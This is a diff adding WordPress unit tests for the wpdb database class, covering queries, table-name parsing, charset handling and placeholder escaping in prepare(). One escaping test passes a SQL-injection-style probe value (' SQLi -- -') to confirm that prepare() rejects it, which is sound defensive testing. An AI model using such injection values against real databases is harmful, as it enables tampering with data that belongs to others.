+		$wpdb->bail( 'Database is dead.' );
+	}
+
+	function test_timers() {
+		global $wpdb;
+
+		$wpdb->timer_start();
+		usleep( 5 );
+		$stop = $wpdb->timer_stop();
+
+		$this->assertNotEquals( $wpdb->time_start, $stop );
+		$this->assertGreaterThan( $stop, $wpdb->time_start );
+	}
+
+	function test_get_col_info() {
+		global $wpdb;
+
+		$wpdb->get_results( "SELECT ID FROM $wpdb->users" );
+
+		$this->assertEquals( array( 'ID' ), $wpdb->get_col_info() );
+		$this->assertEquals( array( $wpdb->users ), $wpdb->get_col_info( 'table' ) );
+		$this->assertEquals( $wpdb->users, $wpdb->get_col_info( 'table', 0 ) );
+	}
+
+	function test_query_and_delete() {
+		global $wpdb;
+		$rows = $wpdb->query( "INSERT INTO $wpdb->users (display_name) VALUES ('Walter Sobchak')" );
+		$this->assertEquals( 1, $rows );
+		$this->assertNotEmpty( $wpdb->insert_id );
+		$d_rows = $wpdb->delete( $wpdb->users, array( 'ID' => $wpdb->insert_id ) );
+		$this->assertEquals( 1, $d_rows );
+	}
+
+	function test_get_row() {
+		global $wpdb;
+		$rows = $wpdb->query( "INSERT INTO $wpdb->users (display_name) VALUES ('Walter Sobchak')" );
+		$this->assertEquals( 1, $rows );
+		$this->assertNotEmpty( $wpdb->insert_id );
+
+		$row = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->users WHERE ID = %d", $wpdb->insert_id ) );
+		$this->assertInternalType( 'object', $row );
+		$this->assertEquals( 'Walter Sobchak', $row->display_name );
+	}
+
+	/**
+	 * Test the `get_col()` method.
+	 *
+	 * @param string|null        $query       The query to run.
+	 * @param string|array       $expected    The expected resulting value.
+	 * @param arrray|string|null $last_result The value to assign to `$wpdb->last_result`.
+	 * @param int|string         $column      The column index to retrieve.
+	 *
+	 * @dataProvider data_test_get_col
+	 *
+	 * @ticket 45299
+	 */
+	function test_get_col( $query, $expected, $last_result, $column ) {
+		global $wpdb;
+
+		$wpdb->last_result = $last_result;
+
+		$result = $wpdb->get_col( $query, $column );
+
+		if ( $query ) {
+			$this->assertSame( $query, $wpdb->last_query );
+		}
+
+		if ( is_array( $expected ) ) {
+			$this->assertSame( $expected, $result );
+		} else {
+			$this->assertContains( $expected, $result );
+		}
+	}
+
+	/**
+	 * Data provider for testing `get_col()`.
+	 *
+	 * @return array {
+	 *     Arguments for testing `get_col()`.
+	 *
+	 *     @type string|null        $query       The query to run.
+	 *     @type string|array       $expected    The resulting expected value.
+	 *     @type arrray|string|null $last_result The value to assign to `$wpdb->last_result`.
+	 *     @type int|string         $column      The column index to retrieve.
+	 */
+	function data_test_get_col() {
+		global $wpdb;
+
+		return array(
+			array(
+				"SELECT display_name FROM $wpdb->users",
+				'admin',
+				array(),
+				0,
+			),
+			array(
+				"SELECT user_login, user_email FROM $wpdb->users",
+				'admin',
+				array(),
+				0,
+			),
+			array(
+				"SELECT user_login, user_email FROM $wpdb->users",
+				'admin@example.org',
+				array(),
+				1,
+			),
+			array(
+				"SELECT user_login, user_email FROM $wpdb->users",
+				'admin@example.org',
+				array(),
+				'1',
+			),
+			array(
+				"SELECT user_login, user_email FROM $wpdb->users",
+				array( null ),
+				array(),
+				3,
+			),
+			array(
+				'',
+				array(),
+				null,
+				0,
+			),
+			array(
+				null,
+				array(),
+				'',
+				0
+			),
+		);
+	}
+
+	function test_replace() {
+		global $wpdb;
+		$rows1 = $wpdb->insert( $wpdb->users, array( 'display_name' => 'Walter Sobchak' ) );
+		$this->assertEquals( 1, $rows1 );
+		$this->assertNotEmpty( $wpdb->insert_id );
+		$last = $wpdb->insert_id;
+
+		$rows2 = $wpdb->replace( $wpdb->users, array( 'ID' => $last, 'display_name' => 'Walter Replace Sobchak' ) );
+		$this->assertEquals( 2, $rows2 );
+		$this->assertNotEmpty( $wpdb->insert_id );
+
+		$this->assertEquals( $last, $wpdb->insert_id );
+
+		$row = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->users WHERE ID = %d", $last ) );
+		$this->assertEquals( 'Walter Replace Sobchak', $row->display_name );
+	}
+
+	/**
+	 * wpdb::update() requires a WHERE condition.
+	 *
+	 * @ticket 26106
+	 */
+	function test_empty_where_on_update() {
+		global $wpdb;
+		$suppress = $wpdb->suppress_errors( true );
+		$wpdb->update( $wpdb->posts, array( 'post_name' => 'burrito' ), array() );
+
+		$expected1 = "UPDATE `{$wpdb->posts}` SET `post_name` = 'burrito' WHERE ";
+		$this->assertNotEmpty( $wpdb->last_error );
+		$this->assertEquals( $expected1, $wpdb->last_query );
+
+		$wpdb->update( $wpdb->posts, array( 'post_name' => 'burrito' ), array( 'post_status' => 'taco' ) );
+
+		$expected2 = "UPDATE `{$wpdb->posts}` SET `post_name` = 'burrito' WHERE `post_status` = 'taco'";
+		$this->assertEmpty( $wpdb->last_error );
+		$this->assertEquals( $expected2, $wpdb->last_query );
+		$wpdb->suppress_errors( $suppress );
+	}
+
+	/**
+	 * mysqli_ incorrect flush and further sync issues.
+	 *
+	 * @ticket 28155
+	 */
+	function test_mysqli_flush_sync() {
+		global $wpdb;
+		if ( ! $wpdb->use_mysqli ) {
+			$this->markTestSkipped( 'mysqli not being used' );
+		}
+
+		$suppress = $wpdb->suppress_errors( true );
+
+		$wpdb->query( 'DROP PROCEDURE IF EXISTS `test_mysqli_flush_sync_procedure`' );
+		$wpdb->query( 'CREATE PROCEDURE `test_mysqli_flush_sync_procedure`() BEGIN
+			SELECT ID FROM `' . $wpdb->posts . '` LIMIT 1;
+		END' );
+
+		if ( count( $wpdb->get_results( 'SHOW CREATE PROCEDURE `test_mysqli_flush_sync_procedure`' ) ) < 1 ) {
+			$wpdb->suppress_errors( $suppress );
+			$this->fail( 'procedure could not be created (missing privileges?)' );
+		}
+
+		$post_id = self::factory()->post->create();
+
+		$this->assertNotEmpty( $wpdb->get_results( 'CALL `test_mysqli_flush_sync_procedure`' ) );
+		$this->assertNotEmpty( $wpdb->get_results( "SELECT ID FROM `{$wpdb->posts}` LIMIT 1" ) );
+
+		// DROP PROCEDURE will cause a COMMIT, so we delete the post manually before that happens.
+		wp_delete_post( $post_id, true );
+
+		$wpdb->query( 'DROP PROCEDURE IF EXISTS `test_mysqli_flush_sync_procedure`' );
+		$wpdb->suppress_errors( $suppress );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function data_get_table_from_query() {
+		$table = 'a_test_table_name';
+		$more_tables = array(
+			// table_name => expected_value
+			'`a_test_db`.`another_test_table`' => 'a_test_db.another_test_table',
+			'a-test-with-dashes'               => 'a-test-with-dashes',
+		);
+
+		$queries = array(
+			// Basic
+			"SELECT * FROM $table",
+			"SELECT * FROM `$table`",
+
+			"SELECT * FROM (SELECT * FROM $table) as subquery",
+
+			"INSERT $table",
+			"INSERT IGNORE $table",
+			"INSERT IGNORE INTO $table",
+			"INSERT INTO $table",
+			"INSERT LOW_PRIORITY $table",
+			"INSERT DELAYED $table",
+			"INSERT HIGH_PRIORITY $table",
+			"INSERT LOW_PRIORITY IGNORE $table",
+			"INSERT LOW_PRIORITY INTO $table",
+			"INSERT LOW_PRIORITY IGNORE INTO $table",
+
+			"REPLACE $table",
+			"REPLACE INTO $table",
+			"REPLACE LOW_PRIORITY $table",
+			"REPLACE DELAYED $table",
+			"REPLACE LOW_PRIORITY INTO $table",
+
+			"UPDATE LOW_PRIORITY $table",
+			"UPDATE LOW_PRIORITY IGNORE $table",
+
+			"DELETE $table",
+			"DELETE IGNORE $table",
+			"DELETE IGNORE FROM $table",
+			"DELETE FROM $table",
+			"DELETE LOW_PRIORITY $table",
+			"DELETE QUICK $table",
+			"DELETE IGNORE $table",
+			"DELETE LOW_PRIORITY FROM $table",
+			"DELETE a FROM $table a",
+			"DELETE `a` FROM $table a",
+
+			// Extended
+			"EXPLAIN SELECT * FROM $table",
+			"EXPLAIN EXTENDED SELECT * FROM $table",
+			"EXPLAIN EXTENDED SELECT * FROM `$table`",
+
+			"DESCRIBE $table",
+			"DESC $table",
+			"EXPLAIN $table",
+			"HANDLER $table",
+
+			"LOCK TABLE $table",
+			"LOCK TABLES $table",
+			"UNLOCK TABLE $table",
+
+			"RENAME TABLE $table",
+			"OPTIMIZE TABLE $table",
+			"BACKUP TABLE $table",
+			"RESTORE TABLE $table",
+			"CHECK TABLE $table",
+			"CHECKSUM TABLE $table",
+			"ANALYZE TABLE $table",
+			"REPAIR TABLE $table",
+
+			"TRUNCATE $table",
+			"TRUNCATE TABLE $table",
+
+			"CREATE TABLE $table",
+			"CREATE TEMPORARY TABLE $table",
+			"CREATE TABLE IF NOT EXISTS $table",
+
+			"ALTER TABLE $table",
+			"ALTER IGNORE TABLE $table",
+
+			"DROP TABLE $table",
+			"DROP TABLE IF EXISTS $table",
+
+			"CREATE INDEX foo(bar(20)) ON $table",
+			"CREATE UNIQUE INDEX foo(bar(20)) ON $table",
+			"CREATE FULLTEXT INDEX foo(bar(20)) ON $table",
+			"CREATE SPATIAL INDEX foo(bar(20)) ON $table",
+
+			"DROP INDEX foo ON $table",
+
+			"LOAD DATA INFILE 'wp.txt' INTO TABLE $table",
+			"LOAD DATA LOW_PRIORITY INFILE 'wp.txt' INTO TABLE $table",
+			"LOAD DATA CONCURRENT INFILE 'wp.txt' INTO TABLE $table",
+			"LOAD DATA LOW_PRIORITY LOCAL INFILE 'wp.txt' INTO TABLE $table",
+			"LOAD DATA INFILE 'wp.txt' REPLACE INTO TABLE $table",
+			"LOAD DATA INFILE 'wp.txt' IGNORE INTO TABLE $table",
+
+			"GRANT ALL ON TABLE $table",
+			"REVOKE ALL ON TABLE $table",
+
+			"SHOW COLUMNS FROM $table",
+			"SHOW FULL COLUMNS FROM $table",
+			"SHOW CREATE TABLE $table",
+			"SHOW INDEX FROM $table",
+
+			// @ticket 32763
+			"SELECT " . str_repeat( 'a', 10000 ) . " FROM (SELECT * FROM $table) as subquery",
+		);
+
+		$querycount = count( $queries );
+		for ( $ii = 0; $ii < $querycount; $ii++ ) {
+			foreach ( $more_tables as $name => $expected_name ) {
+				$new_query = str_replace( $table, $name, $queries[ $ii ] );
+				$queries[] = array( $new_query, $expected_name );
+			}
+
+			$queries[ $ii ] = array( $queries[ $ii ], $table );
+		}
+		return $queries;
+	}
+
+	/**
+	 * @dataProvider data_get_table_from_query
+	 * @ticket 21212
+	 */
+	function test_get_table_from_query( $query, $table ) {
+		$this->assertEquals( $table, self::$_wpdb->get_table_from_query( $query ) );
+	}
+
+	function data_get_table_from_query_false() {
+		$table = 'a_test_table_name';
+		return array(
+			array( "LOL THIS ISN'T EVEN A QUERY $table" ),
+		);
+	}
+
+	/**
+	 * @dataProvider data_get_table_from_query_false
+	 * @ticket 21212
+	 */
+	function test_get_table_from_query_false( $query ) {
+		$this->assertFalse( self::$_wpdb->get_table_from_query( $query ) );
+	}
+
+	/**
+	 * @ticket 38751
+	 */
+	function data_get_escaped_table_from_show_query() {
+		return array(
+			// Equality
+			array( "SHOW TABLE STATUS WHERE Name = 'test_name'", 'test_name' ),
+			array( "SHOW TABLE STATUS WHERE NAME=\"test_name\"", 'test_name' ),
+			array( "SHOW TABLES WHERE Name = \"test_name\"",     'test_name' ),
+			array( "SHOW FULL TABLES WHERE Name='test_name'",    'test_name' ),
+
+			// LIKE
+			array( "SHOW TABLE STATUS LIKE 'test\_prefix\_%'",   'test_prefix_' ),
+			array( "SHOW TABLE STATUS LIKE \"test\_prefix\_%\"", 'test_prefix_' ),
+			array( "SHOW TABLES LIKE 'test\_prefix\_%'",         'test_prefix_' ),
+			array( "SHOW FULL TABLES LIKE \"test\_prefix\_%\"",  'test_prefix_' ),
+		);
+	}
+
+	/**
+	 * @dataProvider data_get_escaped_table_from_show_query
+	 * @ticket 38751
+	 */
+	function test_get_escaped_table_from_show_query( $query, $table ) {
+		$this->assertEquals( $table, self::$_wpdb->get_table_from_query( $query ) );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function data_process_field_formats() {
+		$core_db_fields_no_format_specified = array(
+			array( 'post_content' => 'foo', 'post_parent' => 0 ),
+			null,
+			array(
+				'post_content' => array( 'value' => 'foo', 'format' => '%s' ),
+				'post_parent' => array( 'value' => 0, 'format' => '%d' ),
+			)
+		);
+
+		$core_db_fields_formats_specified = array(
+			array( 'post_content' => 'foo', 'post_parent' => 0 ),
+			array( '%d', '%s' ), // These override core field_types
+			array(
+				'post_content' => array( 'value' => 'foo', 'format' => '%d' ),
+				'post_parent' => array( 'value' => 0, 'format' => '%s' ),
+			)
+		);
+
+		$misc_fields_no_format_specified = array(
+			array( 'this_is_not_a_core_field' => 'foo', 'this_is_not_either' => 0 ),
+			null,
+			array(
+				'this_is_not_a_core_field' => array( 'value' => 'foo', 'format' => '%s' ),
+				'this_is_not_either' => array( 'value' => 0, 'format' => '%s' ),
+			)
+		);
+
+		$misc_fields_formats_specified = array(
+			array( 'this_is_not_a_core_field' => 0, 'this_is_not_either' => 1.2 ),
+			array( '%d', '%f' ),
+			array(
+				'this_is_not_a_core_field' => array( 'value' => 0, 'format' => '%d' ),
+				'this_is_not_either' => array( 'value' => 1.2, 'format' => '%f' ),
+			)
+		);
+
+		$misc_fields_insufficient_formats_specified = array(
+			array( 'this_is_not_a_core_field' => 0, 'this_is_not_either' => 's', 'nor_this' => 1 ),
+			array( '%d', '%s' ), // The first format is used for the third
+			array(
+				'this_is_not_a_core_field' => array( 'value' => 0, 'format' => '%d' ),
+				'this_is_not_either' => array( 'value' => 's', 'format' => '%s' ),
+				'nor_this' => array( 'value' => 1, 'format' => '%d' ),
+			)
+		);
+
+		$vars = get_defined_vars();
+		// Push the variable name onto the end for assertSame $message
+		foreach ( $vars as $var_name => $var ) {
+			$vars[ $var_name ][] = $var_name;
+		}
+		return array_values( $vars );
+	}
+
+	/**
+	 * @dataProvider data_process_field_formats
+	 * @ticket 21212
+	 */
+	function test_process_field_formats( $data, $format, $expected, $message ) {
+		$actual = self::$_wpdb->process_field_formats( $data, $format );
+		$this->assertSame( $expected, $actual, $message );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_process_fields() {
+		global $wpdb;
+
+		if ( $wpdb->charset ) {
+			$expected_charset = $wpdb->charset;
+		} else {
+			$expected_charset = $wpdb->get_col_charset( $wpdb->posts, 'post_content' );
+		}
+
+		if ( ! in_array( $expected_charset, array( 'utf8', 'utf8mb4', 'latin1' ) ) ) {
+			$this->markTestSkipped( "This test only works with utf8, utf8mb4 or latin1 character sets" );
+		}
+
+		$data = array( 'post_content' => '¡foo foo foo!' );
+		$expected = array(
+			'post_content' => array(
+				'value' => '¡foo foo foo!',
+				'format' => '%s',
+				'charset' => $expected_charset,
+				'length' => $wpdb->get_col_length( $wpdb->posts, 'post_content' ),
+			)
+		);
+
+		$this->assertSame( $expected, self::$_wpdb->process_fields( $wpdb->posts, $data, null ) );
+	}
+
+	/**
+	 * @ticket 21212
+	 * @depends test_process_fields
+	 */
+	function test_process_fields_on_nonexistent_table( $data ) {
+		self::$_wpdb->suppress_errors( true );
+		$data = array( 'post_content' => '¡foo foo foo!' );
+		$this->assertFalse( self::$_wpdb->process_fields( 'nonexistent_table', $data, null ) );
+		self::$_wpdb->suppress_errors( false );
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_pre_get_table_charset_filter() {
+		add_filter( 'pre_get_table_charset', array( $this, 'filter_pre_get_table_charset' ), 10, 2 );
+		$charset = self::$_wpdb->get_table_charset( 'some_table' );
+		remove_filter( 'pre_get_table_charset', array( $this, 'filter_pre_get_table_charset' ), 10 );
+
+		$this->assertEquals( $charset, 'fake_charset' );
+	}
+	function filter_pre_get_table_charset( $charset, $table ) {
+		return 'fake_charset';
+	}
+
+	/**
+	 * @ticket 21212
+	 */
+	function test_pre_get_col_charset_filter() {
+		add_filter( 'pre_get_col_charset', array( $this, 'filter_pre_get_col_charset' ), 10, 3 );
+		$charset = self::$_wpdb->get_col_charset( 'some_table', 'some_col' );
+		remove_filter( 'pre_get_col_charset', array( $this, 'filter_pre_get_col_charset' ), 10 );
+
+		$this->assertEquals( $charset, 'fake_col_charset' );
+	}
+	function filter_pre_get_col_charset( $charset, $table, $column ) {
+		return 'fake_col_charset';
+	}
+
+	/**
+	 * @ticket 15158
+	 */
+	function test_null_insert() {
+		global $wpdb;
+
+		$key = 'null_insert_key';
+
+		$wpdb->insert(
+			$wpdb->postmeta,
+			array(
+				'meta_key' => $key,
+				'meta_value' => NULL
+			),
+			array( '%s', '%s' )
+		);
+
+		$row = $wpdb->get_row( "SELECT * FROM $wpdb->postmeta WHERE meta_key='$key'" );
+
+		$this->assertNull( $row->meta_value );
+	}
+
+	/**
+	 * @ticket 15158
+	 */
+	function test_null_update_value() {
+		global $wpdb;
+
+		$key = 'null_update_value_key';
+		$value = 'null_update_value_key';
+
+		$wpdb->insert(
+			$wpdb->postmeta,
+			array(
+				'meta_key' => $key,
+				'meta_value' => $value
+			),
+			array( '%s', '%s' )
+		);
+
+		$row = $wpdb->get_row( "SELECT * FROM $wpdb->postmeta WHERE meta_key='$key'" );
+
+		$this->assertSame( $value, $row->meta_value );
+
+		$wpdb->update(
+			$wpdb->postmeta,
+			array( 'meta_value' => NULL ),
+			array(
+				'meta_key' => $key,
+				'meta_value' => $value
+			),
+			array( '%s' ),
+			array( '%s', '%s' )
+		);
+
+		$row = $wpdb->get_row( "SELECT * FROM $wpdb->postmeta WHERE meta_key='$key'" );
+
+		$this->assertNull( $row->meta_value );
+	}
+
+	/**
+	 * @ticket 15158
+	 */
+	function test_null_update_where() {
+		global $wpdb;
+
+		$key = 'null_update_where_key';
+		$value = 'null_update_where_key';
+
+		$wpdb->insert(
+			$wpdb->postmeta,
+			array(
+				'meta_key' => $key,
+				'meta_value' => NULL
+			),
+			array( '%s', '%s' )
+		);
+
+		$row = $wpdb->get_row( "SELECT * FROM $wpdb->postmeta WHERE meta_key='$key'" );
+
+		$this->assertNull( $row->meta_value );
+
+		$wpdb->update(
+			$wpdb->postmeta,
+			array( 'meta_value' => $value ),
+			array(
+				'meta_key' => $key,
+				'meta_value' => NULL
+			),
+			array( '%s' ),
+			array( '%s', '%s' )
+		);
+
+		$row = $wpdb->get_row( "SELECT * FROM $wpdb->postmeta WHERE meta_key='$key'" );
+
+		$this->assertSame( $value, $row->meta_value );
+	}
+
+	/**
+	 * @ticket 15158
+	 */
+	function test_null_delete() {
+		global $wpdb;
+
+		$key = 'null_update_where_key';
+		$value = 'null_update_where_key';
+
+		$wpdb->insert(
+			$wpdb->postmeta,
+			array(
+				'meta_key' => $key,
+				'meta_value' => NULL
+			),
+			array( '%s', '%s' )
+		);
+
+		$row = $wpdb->get_row( "SELECT * FROM $wpdb->postmeta WHERE meta_key='$key'" );
+
+		$this->assertNull( $row->meta_value );
+
+		$wpdb->delete(
+			$wpdb->postmeta,
+			array(
+				'meta_key' => $key,
+				'meta_value' => NULL
+			),
+			array( '%s', '%s' )
+		);
+
+		$row = $wpdb->get_row( "SELECT * FROM $wpdb->postmeta WHERE meta_key='$key'" );
+
+		$this->assertNull( $row );
+	}
+
+	/**
+	 * @ticket 34903
+	 */
+	function test_close() {
+		global $wpdb;
+
+		$this->assertTrue( $wpdb->close() );
+		$this->assertFalse( $wpdb->close() );
+
+		$this->assertFalse( $wpdb->ready );
+		$this->assertFalse( $wpdb->has_connected );
+
+		$wpdb->check_connection();
+
+		$this->assertTrue( $wpdb->close() );
+
+		$wpdb->check_connection();
+	}
+
+	/**
+	 * @ticket 36917
+	 */
+	function test_charset_not_determined_when_disconnected() {
+		global $wpdb;
+
+		$charset = 'utf8';
+		$collate = 'this_isnt_a_collation';
+
+		$wpdb->close();
+
+		$result = $wpdb->determine_charset( $charset, $collate );
+
+		$this->assertSame( compact( 'charset', 'collate' ), $result );
+
+		$wpdb->check_connection();
+	}
+
+	/**
+	 * @ticket 36917
+	 */
+	function test_charset_switched_to_utf8mb4() {
+		global $wpdb;
+
+		if ( ! $wpdb->has_cap( 'utf8mb4' ) ) {
+			$this->markTestSkipped( 'This test requires utf8mb4 support.' );
+		}
+
+		$charset = 'utf8';
+		$collate = 'utf8_general_ci';
+
+		$result = $wpdb->determine_charset( $charset, $collate );
+
+		$this->assertSame( 'utf8mb4', $result['charset'] );
+	}
+
+	/**
+	 * @ticket 32105
+	 * @ticket 36917
+	 */
+	function test_collate_switched_to_utf8mb4_520() {
+		global $wpdb;
+
+		if ( ! $wpdb->has_cap( 'utf8mb4_520' ) ) {
+			$this->markTestSkipped( 'This test requires utf8mb4_520 support.' );
+		}
+
+		$charset = 'utf8';
+		$collate = 'utf8_general_ci';
+
+		$result = $wpdb->determine_charset( $charset, $collate );
+
+		$this->assertSame( 'utf8mb4_unicode_520_ci', $result['collate'] );
+	}
+
+	/**
+	 * @ticket 32405
+	 * @ticket 36917
+	 */
+	function test_non_unicode_collations() {
+		global $wpdb;
+
+		if ( ! $wpdb->has_cap( 'utf8mb4' ) ) {
+			$this->markTestSkipped( 'This test requires utf8mb4 support.' );
+		}
+
+		$charset = 'utf8';
+		$collate = 'utf8_swedish_ci';
+
+		$result = $wpdb->determine_charset( $charset, $collate );
+
+		$this->assertSame( 'utf8mb4_swedish_ci', $result['collate'] );
+	}
+
+	/**
+	 * @ticket 37982
+	 */
+	function test_charset_switched_to_utf8() {
+		global $wpdb;
+
+		if ( $wpdb->has_cap( 'utf8mb4' ) ) {
+			$this->markTestSkipped( 'This test requires utf8mb4 to not be supported.' );
+		}
+
+		$charset = 'utf8mb4';
+		$collate = 'utf8mb4_general_ci';
+
+		$result = $wpdb->determine_charset( $charset, $collate );
+
+		$this->assertSame( 'utf8', $result['charset'] );
+		$this->assertSame( 'utf8_general_ci', $result['collate'] );
+	}
+
+	/**
+	 * @dataProvider data_prepare_with_placeholders
+	 */
+	function test_prepare_with_placeholders_and_individual_args( $sql, $values, $incorrect_usage, $expected) {
+		global $wpdb;
+
+		if ( $incorrect_usage ) {
+			$this->setExpectedIncorrectUsage( 'wpdb::prepare' );
+		}
+
+		if ( ! is_array( $values ) ) {
+			$values = array( $values );
+		}
+
+		array_unshift( $values, $sql );
+
+		$sql = call_user_func_array( array( $wpdb, 'prepare' ), $values );
+		$this->assertEquals( $expected, $sql );
+	}
+
+	/**
+	 * @dataProvider data_prepare_with_placeholders
+	 */
+	function test_prepare_with_placeholders_and_array_args( $sql, $values, $incorrect_usage, $expected) {
+		global $wpdb;
+
+		if ( $incorrect_usage ) {
+			$this->setExpectedIncorrectUsage( 'wpdb::prepare' );
+		}
+
+		if ( ! is_array( $values ) ) {
+			$values = array( $values );
+		}
+
+		$sql = call_user_func_array( array( $wpdb, 'prepare' ), array( $sql, $values ) );
+		$this->assertEquals( $expected, $sql );
+	}
+
+	function data_prepare_with_placeholders() {
+		global $wpdb;
+
+		return array(
+			array(
+				'%5s',   // SQL to prepare
+				'foo',   // Value to insert in the SQL
+				false,   // Whether to expect an incorrect usage error or not
+				'  foo', // Expected output
+			),
+			array(
+				'%1$d %%% % %%1$d%% %%%1$d%%',
+				1,
+				true,
+				"1 {$wpdb->placeholder_escape()}{$wpdb->placeholder_escape()} {$wpdb->placeholder_escape()} {$wpdb->placeholder_escape()}1\$d{$wpdb->placeholder_escape()} {$wpdb->placeholder_escape()}1{$wpdb->placeholder_escape()}",
+			),
+			array(
+				'%-5s',
+				'foo',
+				false,
+				'foo  ',
+			),
+			array(
+				'%05s',
+				'foo',
+				false,
+				'00foo',
+			),
+			array(
+				"%'#5s",
+				'foo',
+				false,
+				'##foo',
+			),
+			array(
+				'%.3s',
+				'foobar',
+				false,
+				'foo',
+			),
+			array(
+				'%.3f',
+				5.123456,
+				false,
+				'5.123',
+			),
+			array(
+				'%.3f',
+				5.12,
+				false,
+				'5.120',
+			),
+			array(
+				'%s',
+				' %s ',
+				false,
+				"' {$wpdb->placeholder_escape()}s '",
+			),
+			array(
+				'%1$s',
+				' %s ',
+				false,
+				" {$wpdb->placeholder_escape()}s ",
+			),
+			array(
+				'%1$s',
+				' %1$s ',
+				false,
+				" {$wpdb->placeholder_escape()}1\$s ",
+			),
+			array(
+				'%d %1$d %%% %',
+				1,
+				true,
+				"1 1 {$wpdb->placeholder_escape()}{$wpdb->placeholder_escape()} {$wpdb->placeholder_escape()}",
+			),
+			array(
+				'%d %2$s',
+				array( 1, 'hello' ),
+				false,
+				"1 hello",
+			),
+			array(
+				"'%s'",
+				'hello',
+				false,
+				"'hello'",
+			),
+			array(
+				'"%s"',
+				'hello',
+				false,
+				"'hello'",
+			),
+			array(
+				"%s '%1\$s'",
+				'hello',
+				true,
+				"'hello' 'hello'",
+			),
+			array(
+				"%s '%1\$s'",
+				'hello',
+				true,
+				"'hello' 'hello'",
+			),
+			array(
+				'%s "%1$s"',
+				'hello',
+				true,
+				"'hello' \"hello\"",
+			),
+			array(
+				"%%s %%'%1\$s'",
+				'hello',
+				false,
+				"{$wpdb->placeholder_escape()}s {$wpdb->placeholder_escape()}'hello'",
+			),
+			array(
+				'%%s %%"%1$s"',
+				'hello',
+				false,
+				"{$wpdb->placeholder_escape()}s {$wpdb->placeholder_escape()}\"hello\"",
+			),
+			array(
+				'%s',
+				' %  s ',
+				false,
+				"' {$wpdb->placeholder_escape()}  s '",
+			),
+			array(
+				'%%f %%"%1$f"',
+				3,
+				false,
+				"{$wpdb->placeholder_escape()}f {$wpdb->placeholder_escape()}\"3.000000\"",
+			),
+			array(
+				'WHERE second=\'%2$s\' AND first=\'%1$s\'',
+				array( 'first arg', 'second arg' ),
+				false,
+				"WHERE second='second arg' AND first='first arg'",
+			),
+			array(
+				'WHERE second=%2$d AND first=%1$d',
+				array( 1, 2 ),
+				false,
+				"WHERE second=2 AND first=1",
+			),
+			array(
+				"'%'%%s",
+				'hello',
+				true,
+				"'{$wpdb->placeholder_escape()}'{$wpdb->placeholder_escape()}s",
+			),
+			array(
+				"'%'%%s%s",
+				'hello',
+				false,
+				"'{$wpdb->placeholder_escape()}'{$wpdb->placeholder_escape()}s'hello'",
+			),
+			array(
+				"'%'%%s %s",
+				'hello',
+				false,
+				"'{$wpdb->placeholder_escape()}'{$wpdb->placeholder_escape()}s 'hello'",
+			),
+			array(
+				"'%-'#5s' '%'#-+-5s'",
+				array( 'hello', 'foo' ),
+				false,
+				"'hello' 'foo##'",
+			),
+		);
+	}
+
+	/**
+	 * @dataProvider data_escape_and_prepare
+	 */
+	function test_escape_and_prepare( $escape, $sql, $values, $incorrect_usage, $expected ) {
+		global $wpdb;
+
+		if ( $incorrect_usage ) {
+			$this->setExpectedIncorrectUsage( 'wpdb::prepare' );
+		}
+
+		$escape = esc_sql( $escape );
+
+		$sql = str_replace( '{ESCAPE}', $escape, $sql );
+
+		$actual = $wpdb->prepare( $sql, $values );
+
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function data_escape_and_prepare() {
+		global $wpdb;
+		return array(
+			array(
+				'%s',                                  // String to pass through esc_url()
+				' {ESCAPE} ',                          // Query to insert the output of esc_url() into, replacing "{ESCAPE}"
+				'foo',                                 // Data to send to prepare()
+				true,                                  // Whether to expect an incorrect usage error or not
+				" {$wpdb->placeholder_escape()}s ",    // Expected output
+			),
+			array(
+				'foo%sbar',
+				"SELECT * FROM bar WHERE foo='{ESCAPE}' OR baz=%s",
+				array( ' SQLi -- -', 'pewpewpew' ),
+				true,
+				null,
+			),
+			array(
+				'%s',
+				' %s {ESCAPE} ',
+				'foo',
+				false,
+				" 'foo' {$wpdb->placeholder_escape()}s ",
+			),
+		);
+	}
+
+	/**
+	 * @expectedIncorrectUsage wpdb::prepare
+	 */
+	function test_double_prepare() {
+		global $wpdb;
+
+		$part = $wpdb->prepare( ' AND meta_value = %s', ' %s ' );
+		$this->assertNotContains( '%s', $part );
+		$query = $wpdb->prepare( 'SELECT * FROM {$wpdb->postmeta} WHERE meta_key = %s $part', array( 'foo', 'bar' ) );
+		$this->assertNull( $query );
+	}
+
+	function test_prepare_numeric_placeholders_float_args() {
+		global $wpdb;
+
+		$actual = $wpdb->prepare(
+			'WHERE second=%2$f AND first=%1$f',
+			1.1,
+			2.2
+		);
+
+		/* Floats can be right padded, need to assert differently */
+		$this->assertContains( ' first=1.1', $actual );
+		$this->assertContains( ' second=2.2', $actual );
+	}
+
+	function test_prepare_numeric_placeholders_float_array() {
+		global $wpdb;
+
+		$actual = $wpdb->prepare(
+			'WHERE second=%2$f AND first=%1$f',
+			array( 1.1, 2.2 )
+		);
+
+		/* Floats can be right padded, need to assert differently */
+		$this->assertContains( ' first=1.1', $actual );
+		$this->assertContains( ' second=2.2', $actual );
+	}
+
+	function test_query_unescapes_placeholders() {
+		global $wpdb;
+
+		$value = ' %s ';
+
+		$wpdb->query( "CREATE TABLE {$wpdb->prefix}test_placeholder( a VARCHAR(100) );" );
+		$sql = $wpdb->prepare( "INSERT INTO {$wpdb->prefix}test_placeholder VALUES(%s)", $value );
+		$wpdb->query( $sql );
+
+		$actual = $wpdb->get_var( "SELECT a FROM {$wpdb->prefix}test_placeholder" );
+
+		$wpdb->query( "DROP TABLE {$wpdb->prefix}test_placeholder" );
+
+		$this->assertNotContains( '%s', $sql );
+		$this->assertEquals( $value, $actual );
+	}
+
+	function test_esc_sql_with_unsupported_placeholder_type() {
+		global $wpdb;
+
+		$sql = $wpdb->prepare( ' %s %1$c ', 'foo' );
+		$sql = $wpdb->prepare( " $sql %s ", 'foo' );
+
+		$this->assertEquals( "  'foo' {$wpdb->placeholder_escape()}1\$c  'foo' ", $sql );
+	}
+
+	/**
+	 * @dataProvider parse_db_host_data_provider
+	 * @ticket 41722
+	 */
+	public function test_parse_db_host( $host_string, $expect_bail, $host, $port, $socket, $is_ipv6 ) {
+		global $wpdb;
+		$data = $wpdb->parse_db_host( $host_string );
+		if ( $expect_bail ) {
